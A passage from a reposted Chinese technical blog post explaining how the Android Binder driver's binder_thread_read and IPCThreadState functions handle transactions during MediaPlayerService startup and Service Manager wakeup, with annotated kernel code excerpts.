最后,把待处理事务加入到target_list列表中去: list_add_tail(&t->work.entry,target_list); 并且把待完成工作项加入到本线程的todo等待执行列表中去: list_add_tail(&tcomplete->entry,&thread->todo); 现在目标进程有事情可做了,于是唤醒它: if(target_wait) wake_up_interruptible(target_wait); 这里就是要唤醒Service Manager进程了。回忆一下前面浅谈Service Manager成为Android进程间通信(IPC)机制Binder守护进程之路这篇文章,此时, Service Manager正在binder_thread_read函数中调用wait_event_interruptible进入休眠状态。 这里我们先忽略一下Service Manager被唤醒之后的场景,继续MedaPlayerService的启动过程,然后再回来。 回到binder_ioctl函数,bwr.read_size > 0为true,于是进入binder_thread_read函数: staticint binder_thread_read(structbinder_proc*proc,structbinder_thread*thread, void__user*buffer,intsize,signedlong*consumed,intnon_block) { void__user*ptr=buffer+*consumed; void__user*end=buffer+size; intret=0; intwait_for_proc_work; if(*consumed==0){ if(put_user(BR_NOOP,(uint32_t__user*)ptr)) return-EFAULT; ptr+=sizeof(uint32_t); } retry: wait_for_proc_work=thread->transaction_stack==NULL&&list_empty(&thread->todo); ....... if(wait_for_proc_work){ ....... }else{ if(non_block){ if(!binder_has_thread_work(thread)) ret=-EAGAIN; }else ret=wait_event_interruptible(thread->wait,binder_has_thread_work(thread)); } ...... while(1){ uint32_tcmd; structbinder_transaction_datatr; structbinder_work*w; structbinder_transaction*t=NULL; if(!list_empty(&thread->todo)) w=list_first_entry(&thread->todo,structbinder_work,entry); elseif(!list_empty(&proc->todo)&&wait_for_proc_work) w=list_first_entry(&proc->todo,structbinder_work,entry); else{ if(ptr-buffer==4&&!(thread->looper&BINDER_LOOPER_STATE_NEED_RETURN))/*nodataadded*/ gotoretry; break; } if(end-ptr<sizeof(tr)+4) break; switch(w->type){ ...... caseBINDER_WORK_TRANSACTION_COMPLETE:{ cmd=BR_TRANSACTION_COMPLETE; if(put_user(cmd,(uint32_t__user*)ptr)) return-EFAULT; ptr+=sizeof(uint32_t); binder_stat_br(proc,thread,cmd); if(binder_debug_mask&BINDER_DEBUG_TRANSACTION_COMPLETE) printk(KERN_INFO"binder:%d:%dBR_TRANSACTION_COMPLETE\n", proc->pid,thread->pid); list_del(&w->entry); kfree(w); binder_stats.obj_deleted[BINDER_STAT_TRANSACTION_COMPLETE]++; }break; ...... } if(!t) continue; ...... } done: ...... return0; } 这里,thread->transaction_stack和thread->todo均不为空,于是wait_for_proc_work为false,由于binder_has_thread_work的时候,返回true,这里因为thread->todo不为空,因此,线程虽然调用了wait_event_interruptible,但是不会睡眠,于是继续往下执行。 由于thread->todo不为空,执行下列语句: if(!list_empty(&thread->todo)) w=list_first_entry(&thread->todo,structbinder_work,entry); w->type为BINDER_WORK_TRANSACTION_COMPLETE,这是在上面的binder_transaction函数设置的,于是执行: switch(w->type){ ...... caseBINDER_WORK_TRANSACTION_COMPLETE:{ cmd=BR_TRANSACTION_COMPLETE; if(put_user(cmd,(uint32_t__user*)ptr)) return-EFAULT; ptr+=sizeof(uint32_t); ...... list_del(&w->entry); kfree(w); }break; ...... } 这里就将w从thread->todo删除了。由于这里t为空,重新执行while循环,这时由于已经没有事情可做了,最后就返回到binder_ioctl函数中。注间,这里一共往用户传进来的缓冲区buffer写入了两个整数,分别是BR_NOOP和BR_TRANSACTION_COMPLETE。 binder_ioctl函数返回到用户空间之前,把数据消耗情况拷贝回用户空间中: if(copy_to_user(ubuf,&bwr,sizeof(bwr))){ ret=-EFAULT; gotoerr; } 最后返回到IPCThreadState::talkWithDriver函数中,执行下面语句: if(err>=NO_ERROR){ if(bwr.write_consumed>0){ if(bwr.write_consumed<(ssize_t)mOut.dataSize()) mOut.remove(0,bwr.write_consumed); else mOut.setDataSize(0); } if(bwr.read_consumed>0){ <PREclass=cppname="code">mIn.setDataSize(bwr.read_consumed); mIn.setDataPosition(0);</PRE>}......returnNO_ERROR;} 首先是把mOut的数据清空: mOut.setDataSize(0); 然后设置已经读取的内容的大小: mIn.setDataSize(bwr.read_consumed); mIn.setDataPosition(0); 然后返回到IPCThreadState::waitForResponse函数中。在IPCThreadState::waitForResponse函数,先是从mIn读出一个整数,这个便是BR_NOOP了,这是一个空操作,什么也不做。然后继续进入IPCThreadState::talkWithDriver函数中。 这时候,下面语句执行后: constboolneedRead=mIn.dataPosition()>=mIn.dataSize(); needRead为false,因为在mIn中,尚有一个整数BR_TRANSACTION_COMPLETE未读出。 这时候,下面语句执行后: constsize_toutAvail=(!doReceive||needRead)?mOut.dataSize():0; outAvail等于0。因此,最后bwr.write_size和bwr.read_size均为0,IPCThreadState::talkWithDriver函数什么也不做,直接返回到IPCThreadState::waitForResponse函数中。在IPCThreadState::waitForResponse函数,又继续从mIn读出一个整数,这个便是BR_TRANSACTION_COMPLETE: switch(cmd){ caseBR_TRANSACTION_COMPLETE: if(!reply&&!acquireResult)gotofinish; break; ...... } reply不为NULL,因此,IPCThreadState::waitForResponse的循环没有结束,继续执行,又进入到IPCThreadState::talkWithDrive中。 这次,needRead就为true了,而outAvail仍为0,所以bwr.read_size不为0,bwr.write_size为0。于是通过: ioctl(mProcess->mDriverFD,BINDER_WRITE_READ,&bwr) 进入到Binder驱动程序中的binder_ioctl函数中。由于bwr.write_size为0,bwr.read_size不为0,这次直接就进入到binder_thread_read函数中。这时候,thread->transaction_stack不等于0,但是thread->todo为空,于是线程就通过: wait_event_interruptible(thread->wait,binder_has_thread_work(thread)); 进入睡眠状态,等待Service Manager来唤醒了。 现在,我们可以回到Service Manager被唤醒的过程了。我们接着前面浅谈Service Manager成为Android进程间通信(IPC)机制Binder守护进程之路这篇文章的最后,继续描述。此时, Service Manager正在binder_thread_read函数中调用wait_event_interruptible_exclusive进入休眠状态。上面被MediaPlayerService启动后进程唤醒后,继续执行binder_thread_read函数: staticint binder_thread_read(structbinder_proc*proc,structbinder_thread*thread, void__user*buffer,intsize,signedlong*consumed,intnon_block) { void__user*ptr=buffer+*consumed; void__user*end=buffer+size; intret=0; intwait_for_proc_work; if(*consumed==0){ if(put_user(BR_NOOP,(uint32_t__user*)ptr)) return-EFAULT; ptr+=sizeof(uint32_t); } retry: wait_for_proc_work=thread->transaction_stack==NULL&&list_empty(&thread->todo); ...... if(wait_for_proc_work){ ...... if(non_block){ if(!binder_has_proc_work(proc,thread)) ret=-EAGAIN; }else ret=wait_event_interruptible_exclusive(proc->wait,binder_has_proc_work(proc,thread)); }else{ ...... } ...... while(1){ uint32_tcmd; structbinder_transaction_datatr; structbinder_work*w; structbinder_transaction*t=NULL; if(!list_empty(&thread->todo)) w=list_first_entry(&thread->todo,structbinder_work,entry); elseif(!list_empty(&proc->todo)&&wait_for_proc_work) w=list_first_entry(&proc->todo,structbinder_work,entry); else{ if(ptr-buffer==4&&!(thread->looper&BINDER_LOOPER_STATE_NEED_RETURN))/*nodataadded*/ gotoretry; break; } if(end-ptr<sizeof(tr)+4) break; switch(w->type){ caseBINDER_WORK_TRANSACTION:{ t=container_of(w,structbinder_transaction,work); }break; ...... } if(!t) continue; BUG_ON(t->buffer==NULL); if(t->buffer->target_node){ structbinder_node*target_node=t->buffer->target_node; tr.target.ptr=target_node->ptr; tr.cookie=target_node->cookie; ...... cmd=BR_TRANSACTION; }else{ ...... } tr.code=t->code; tr.flags=t->flags; tr.sender_euid=t->sender_euid; if(t->from){ structtask_struct*sender=t->from->proc->tsk; tr.sender_pid=task_tgid_nr_ns(sender,current->nsproxy->pid_ns); }else{ tr.sender_pid=0; } tr.data_size=t->buffer->data_size; tr.offsets_size=t->buffer->offsets_size; tr.data.ptr.buffer=(void*)t->buffer->data+proc->user_buffer_offset; tr.data.ptr.offsets=tr.data.ptr.buffer+ALIGN(t->buffer->data_size,sizeof(void*)); if(put_user(cmd,(uint32_t__user*)ptr)) return-EFAULT; ptr+=sizeof(uint32_t); if(copy_to_user(ptr,&tr,sizeof(tr))) return-EFAULT; ptr+=sizeof(tr); ...... list_del(&t->work.entry); t->buffer->allow_user_free=1; if(cmd==BR_TRANSACTION&&!(t->flags&TF_ONE_WAY)){ t->to_parent=thread->transaction_stack; t->to_thread=thread; thread->transaction_stack=t; }else{ t->buffer->transaction=NULL; kfree(t); binder_stats.obj_deleted[BINDER_STAT_TRANSACTION]++; } break; } done: ...... return0; } 本文转自 Luoshengyang 51CTO博客,原文链接:http://blog.51cto.com/shyluo/964539,如需转载请自行联系原作者

资源下载

更多资源
Mario

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长,特征是大鼻子、头戴帽子、身穿背带裤,还留着胡子。与他的双胞胎兄弟路易基一起,长年担任任天堂的招牌角色。

腾讯云软件源

腾讯云软件源

为解决软件依赖安装时官方源访问速度慢的问题,腾讯云为一些软件搭建了缓存服务。您可以通过使用腾讯云软件源站来提升依赖包的安装速度。为了方便用户自由搭建服务架构,目前腾讯云软件源站支持公网访问和内网访问。

Spring

Spring

Spring框架(Spring Framework)是由Rod Johnson于2002年提出的开源Java企业级应用框架,旨在通过使用JavaBean替代传统EJB实现方式降低企业级编程开发的复杂性。该框架基于简单性、可测试性和松耦合性设计理念,提供核心容器、应用上下文、数据访问集成等模块,支持整合Hibernate、Struts等第三方框架,其适用范围不仅限于服务器端开发,绝大多数Java应用均可从中受益。

Rocky Linux

Rocky Linux

Rocky Linux(中文名:洛基)是由Gregory Kurtzer于2020年12月发起的企业级Linux发行版,作为CentOS稳定版停止维护后与RHEL(Red Hat Enterprise Linux)完全兼容的开源替代方案,由社区拥有并管理,支持x86_64、aarch64等架构。其通过重新编译RHEL源代码提供长期稳定性,采用模块化包装和SELinux安全架构,默认包含GNOME桌面环境及XFS文件系统,支持十年生命周期更新。

用户登录
用户注册